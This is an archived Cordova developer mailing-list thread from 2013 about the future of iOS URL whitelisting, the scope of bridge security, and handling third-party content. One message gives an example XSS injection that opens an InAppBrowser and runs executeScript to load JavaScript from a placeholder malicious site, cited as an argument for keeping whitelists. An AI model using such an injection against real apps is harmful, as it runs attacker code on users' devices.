cordova-dev mailing list archives

Site index · List index
Message view « Date » · « Thread »
Top « Date » · « Thread »
From Andrew Grieve <agri...@chromium.org>
Subject Re: iOS: The future of whitelisting
Date Mon, 15 Apr 2013 23:52:00 GMT
Sounds like CSP (content security policy) will fill your needs, but we'll
have to wait for webviews to support it.

So, it sounds like this applies to hosted web apps only? E.g., if this was
a file:// based app, you would want to bundle icons with your app.

Would pattern-based white-list not cover your use-case? e.g.
gstatic.google.com/*.png

It actually would be feasible to implement content filtering on a mime-type
basis on iOS & Android 3.0+, but I'm not about to volunteer :P



On Mon, Apr 15, 2013 at 6:49 PM, Kevin Hawkins <
kevin.hawkins.cordova@gmail.com> wrote:

> The biggest issue we have with the current whitelisting in iOS, which I do
> consider overreaching, is that it applies to every class of request that
> comes out of the Cordova web view.  This is most problematic with images.
>  I can't include stock service provider icons from e.g. twitter.com or
> facebook.com, static map images from google.com, etc., because I can't
> also
> trust those sites to be allowed unfettered access to the bridge.  I.e. I
> can't whitelist them, because the definition of their security class is
> overly broad, such that I have to apply the rules of a high level of trust
> to a low level of risk.  Same would hold true for stylesheets, for example.
>
> It puts us in the unfortunate position of having to choose to either have
> apps devoid of the rich content available from third parties, apps that are
> at least partially broken between Cordova vs. straight web (broken image
> links, etc.), or no Cordova version of the apps at all (because we can't
> budge on the pieces that absolutely have to be secured).
>
> Cheers,
> Kevin
>
>
>
>
> On Mon, Apr 15, 2013 at 1:52 PM, Shazron <shazron@gmail.com> wrote:
>
> > For the overlay thing, at least for iOS if we have a new window option
> for
> > "toolbar=[yes|no]" this would have almost the desired effect, if we take
> > out the animation.
> >
> >
> > On Mon, Apr 15, 2013 at 1:44 PM, Andrew Grieve <agrieve@chromium.org>
> > wrote:
> >
> > > Kevin - the iOS CDVURLProtocol was changed (2.5ish) to only filter
> > requests
> > > from Cordova WebViews. I'd be interested in hearing if you still think
> > it's
> > > over-reaching.
> > >
> > > I think the only real way to protect your app is to not have any
> > > third-party scripts in it. We have an outstanding issue to create a
> guide
> > > for this:
> > >
> > > https://issues.apache.org/jira/browse/CB-2179
> > >
> > >
> > > Would using InAppBrowser suite your need for handling third-party
> > content?
> > > E.g. What if we made a mode for IAB where it overlays the page (like an
> > > iframe) instead of completely covering it?
> > >
> > >
> > >
> > >
> > > On Thu, Apr 11, 2013 at 2:39 PM, Shravan Narayan <shravanrn@google.com
> > > >wrote:
> > >
> > > > Hi,
> > > > My name is Shravan - I am an intern at Google working on the Cordova
> > App
> > > > Harness (tool to test Cordova Apps).
> > > >
> > > > Something that I noticed while starting work on the App Harness. The
> > new
> > > > executeScript method allows injection of arbitrary pieces of
> javascript
> > > in
> > > > the InAppBrowsers opened with "window.open". This script runs in
> > context
> > > of
> > > > the page loaded in the InAppBrowser. Whitelists might be still
> required
> > > in
> > > > this scenario.
> > > >
> > > > *Quick example*
> > > > Consider the scenario that there are no whitelists in the platforms.
> > Any
> > > > cordova app which is vulnerable to XSS attacks, can have the
> following
> > > code
> > > > injected into them.
> > > >
> > > > *w = window.open("www.site_that_your_app_normally_doesnt_access.com
> ",
> > > > "_blank");*
> > > > *w.executeScript({ file: "some_** malicious**_site.com/malicious.js
> > "});
> > > > *
> > > > *
> > > > *
> > > > Thus they can open any website and inject any js file from any
> > location.
> > > > Whereas with whitelists the js file's domain "*some_** malicious**_
> > > > site.com"
> > > > *  would probably not be a part of the whitelist.
> > > >
> > > > *Small caveat: *The executeScript does have means to inject code
> > directly
> > > > as well with *w.executeScript({code:"(function() {alert("Hello");})
> > > ();"})
> > > > *but
> > > > that may require a different solution not pertaining to this
> > discussion.
> > > >
> > > > I don't know if this is a reason to keep the whitelists around but
> > > thought
> > > > I'd mention it.
> > > >
> > > > Shravan
> > > >
> > > >
> > > > On Wed, Apr 10, 2013 at 8:29 PM, Shazron <shazron@gmail.com> wrote:
> > > >
> > > > > Also the whitelist might be important for plugins. Specifically,
> > people
> > > > > that need to install plugins have a promise of what external
> > locations
> > > > are
> > > > > being accessed.
> > > > >
> > > > > However, right now all iOS plugins bypass the whitelist because of
> > our
> > > > > User-Agent method, and that needs to be rectified before this
> > "promise"
> > > > is
> > > > > true.
> > > > >
> > > > > Certain resources bypass the whitelist anyway because we have no
> way
> > to
> > > > > control them at the moment (audio/video tags):
> > > > > https://issues.apache.org/jira/browse/CB-2451
> > > > >
> > > > >
> > > > >
> > > > >
> > > > > On Wed, Apr 10, 2013 at 5:22 PM, Shazron <shazron@gmail.com>
> wrote:
> > > > >
> > > > > > Ideally we would have a WebPolicyDelegate like OS X
> > > > > > (webView:decidePolicyForMIMEType:):
> > > > > >
> > > > > >
> > > > >
> > > >
> > >
> >
> https://developer.apple.com/library/mac/#documentation/Cocoa/Reference/WebKit/Protocols/WebPolicyDelegate_Protocol/Reference/Reference.html
> > > > > >
> > > > > > ...where we can have some granularity - I'm not sure we can
yet.
> If
> > > so,
> > > > > we
> > > > > > can defer to the app developer whether certain things like images
> > can
> > > > be
> > > > > > let through - for example in MainViewController, you can set
your
> > own
> > > > > > WebPolicyDelegate. We would allow images through by default.
> > > > > >
> > > > > > I'm not sure of "letting the fox in the hen-house" (allow
> > everything)
> > > > > then
> > > > > > trying to guard against attacks (hens with shotguns?), this
is
> > > > JavaScript
> > > > > > after all. I'm interested however in how your gatekeeper concept
> > > works
> > > > to
> > > > > > help with this since allowing an external URL location does
not
> > > protect
> > > > > > from this attach (think of the situation if the external host
was
> > > > hacked,
> > > > > > and contained JS that attacks/intercepts our bridge).
> > > > > >
> > > > > > With the default wildcard in new projects, like others here
have
> > > > > > mentioned, the whitelist is effectively turned off, and 99%
of
> devs
> > > > won't
> > > > > > care to restrict the whitelist.
> > > > > >
> > > > > >
> > > > > >
> > > > > > On Wed, Apr 10, 2013 at 3:06 PM, Braden Shepherdson <
> > > > braden@chromium.org
> > > > > >wrote:
> > > > > >
> > > > > >> Especially since permissions, on platforms that have such
a
> > notion,
> > > > will
> > > > > >> be
> > > > > >> (eventually...) controlled by installing those plugins.
So you
> can
> > > > lean
> > > > > on
> > > > > >> the platform to block access to contacts as well. Even on
> > platforms
> > > > > >> without
> > > > > >> such permissions control, if we don't load the
> contacts-retrieval
> > > > native
> > > > > >> code, then the JS can't get at it.
> > > > > >>
> > > > > >> Braden
> > > > > >>
> > > > > >>
> > > > > >> On Wed, Apr 10, 2013 at 4:44 PM, Jesse <purplecabbage@gmail.com
> >
> > > > wrote:
> > > > > >>
> > > > > >> > I am completely in favor of removing whitelisting as
well.  I
> > > > believe
> > > > > it
> > > > > >> > gives developers a false sense of security.
> > > > > >> > imho the only sure way to protect access to the bridge
is to
> > only
> > > > ever
> > > > > >> load
> > > > > >> > code that you control. We should be pushing developers
towards
> > > > > >> > best-practices.
> > > > > >> >
> > > > > >> > Some of the whitelist stuff should become redundant
when we
> have
> > > > > things
> > > > > >> > like the Contact API moved into plugins.  ie. You can
be
> > > absolutely
> > > > > >> certain
> > > > > >> > that no JS code is accessing the device's contacts
if you do
> not
> > > > > include
> > > > > >> > the native pieces of the Contact API.
> > > > > >> >
> > > > > >> > @purplecabbage
> > > > > >> > risingj.com
> > > > > >> >
> > > > > >> >
> > > > > >> > On Wed, Apr 10, 2013 at 1:23 PM, Brian LeRoux <b@brian.io>
> > wrote:
> > > > > >> >
> > > > > >> > > We recently moved to * by default to ease common
userland
> woe.
> > > I'd
> > > > > be
> > > > > >> in
> > > > > >> > > favor of removal of whitelisting but I'm fairly
certain that
> > > would
> > > > > be
> > > > > >> > > a controversial position!
> > > > > >> > >
> > > > > >> > >
> > > > > >> > > On Wed, Apr 10, 2013 at 11:38 AM, Kevin Hawkins
<
> > > > > >> > > kevin.hawkins.cordova@gmail.com> wrote:
> > > > > >> > >
> > > > > >> > > > Hey all,
> > > > > >> > > >
> > > > > >> > > > Those of us who have been on the implementing
and/or
> serious
> > > > > >> > consumption
> > > > > >> > > > side of whitelisting for iOS—I've been
on both at one time
> > or
> > > > > >> > > another—know
> > > > > >> > > > how much work has gone into trying to make
it a
> > full-featured
> > > > > >> security
> > > > > >> > > > subsystem for the iOS version of the framework.
 I want to
> > > share
> > > > > >> some
> > > > > >> > > > feedback based on my organization's experiences
in
> > > > implementation,
> > > > > >> and
> > > > > >> > > > hopefully spark some discussion about the
future of
> > > whitelisting
> > > > > on
> > > > > >> iOS
> > > > > >> > > > (and maybe the platform as a whole).
> > > > > >> > > >
> > > > > >> > > > We're essentially running into insurmountable
issues with
> > > > > >> whitelisting
> > > > > >> > > for
> > > > > >> > > > the use cases we're attempting, based on
the overreach of
> > the
> > > > > >> > > NSURLProtocol
> > > > > >> > > > approach to whitelist handling.  I say overreach
because,
> in
> > > an
> > > > > >> ideal
> > > > > >> > > > world, Cordova should only ever care about
safeguarding
> > > traffic
> > > > > >> > destined
> > > > > >> > > to
> > > > > >> > > > go through the hybrid/native bridge.  This
argument can be
> > > made
> > > > > for
> > > > > >> all
> > > > > >> > > > platforms, but the lack of granularity is
most onerously
> > > > > >> overbearing on
> > > > > >> > > > iOS, which filters every HTTP(S) packet that
goes through
> > the
> > > > app.
> > > > > >> > > >
> > > > > >> > > > Our requirements are very strict with regard
to what's
> > > > whitelisted
> > > > > >> to
> > > > > >> > go
> > > > > >> > > > through the bridge.  But the bridge is conceptually
the
> only
> > > > thing
> > > > > >> we
> > > > > >> > > care
> > > > > >> > > > about, within that particular sphere of security.
 We
> have a
> > > > more
> > > > > >> > relaxed
> > > > > >> > > > sphere of security for, say, <img src="
> > http://maps.google.com
> > > "
> > > > > />,
> > > > > >> as
> > > > > >> > > the
> > > > > >> > > > threat vectors exposed through image rendering
are
> > > considerably
> > > > > less
> > > > > >> > than
> > > > > >> > > > malicious injected bridge code.
> > > > > >> > > >
> > > > > >> > > > Alas, we don't—and arguably never will—have
that kind of
> > > > granular
> > > > > >> > control
> > > > > >> > > > in iOS, with the current implementation approach.
> > >  NSURLProtocol
> > > > > is
> > > > > >> > > simply
> > > > > >> > > > too broad-brush to meld into a granular approach
for
> > > > whitelisting.
> > > > > >>  The
> > > > > >> > > end
> > > > > >> > > > result is that we lose the ability to deliver
a rich
> content
> > > > > >> experience
> > > > > >> > > > that leverages third party artifacts, because
we're forced
> > to
> > > go
> > > > > >> with
> > > > > >> > the
> > > > > >> > > > sphere of security that gives us the highest
scrutiny,
> > across
> > > > the
> > > > > >> > board.
> > > > > >> > > >
> > > > > >> > > > We've been considering (very early phase)
some alternative
> > > > > >> approaches
> > > > > >> > to
> > > > > >> > > > managing whitelisting.  Our current thinking
has been
> > focusing
> > > > on
> > > > > a
> > > > > >> > > > gatekeeper (on the native side) to the bridge
itself.
>  This
> > > > would
> > > > > >> > enforce
> > > > > >> > > > some sort of contract between the hybrid
and native side,
> to
> > > > make
> > > > > a
> > > > > >> > > > determination of which traffic is authorized
to
> specifically
> > > go
> > > > > >> through
> > > > > >> > > the
> > > > > >> > > > bridge.  I'm not sure what that contract
looks like at
> this
> > > > point,
> > > > > >> but
> > > > > >> > > > enforcement would be bridge-specific, and
all other
> webview
> > > > > traffic
> > > > > >> > would
> > > > > >> > > > otherwise behave as it would in a normal
web application.
> > > > > >> > > >
> > > > > >> > > > I know from past discussions that many (most?)
Cordova
> > > > developers
> > > > > >> don't
> > > > > >> > > > generally use the whitelist, since their
security concerns
> > may
> > > > not
> > > > > >> be
> > > > > >> > as
> > > > > >> > > > great, and/or they exclusively host their
app
> functionality
> > > > > locally
> > > > > >> to
> > > > > >> > > the
> > > > > >> > > > device, which allows them to essentially
implement their
> own
> > > > > >> controls
> > > > > >> > on
> > > > > >> > > > attack vectors through selective app content.
 In our
> case,
> > > > we're
> > > > > >> > > building
> > > > > >> > > > an enterprise platform where content could
come from any
> > > number
> > > > of
> > > > > >> > > sources.
> > > > > >> > > >  And whitelisting controls are not working
for us.
> > > > > >> > > >
> > > > > >> > > > If there's a future for whitelisting in Cordova
3.0, I
> > > > personally
> > > > > >> feel
> > > > > >> > > that
> > > > > >> > > > it needs to be revisited.  I'd be interested
to hear
> > thoughts
> > > > from
> > > > > >> > others
> > > > > >> > > > on their usage patterns, and responses to
my concerns.
> > > > > >> > > >
> > > > > >> > > > Cheers,
> > > > > >> > > > Kevin
> > > > > >> > > >
> > > > > >> > >
> > > > > >> >
> > > > > >>
> > > > > >
> > > > > >
> > > > >
> > > >
> > >
> >
>

Mime
  • Unnamed multipart/alternative (inline, None, 0 bytes)
View raw message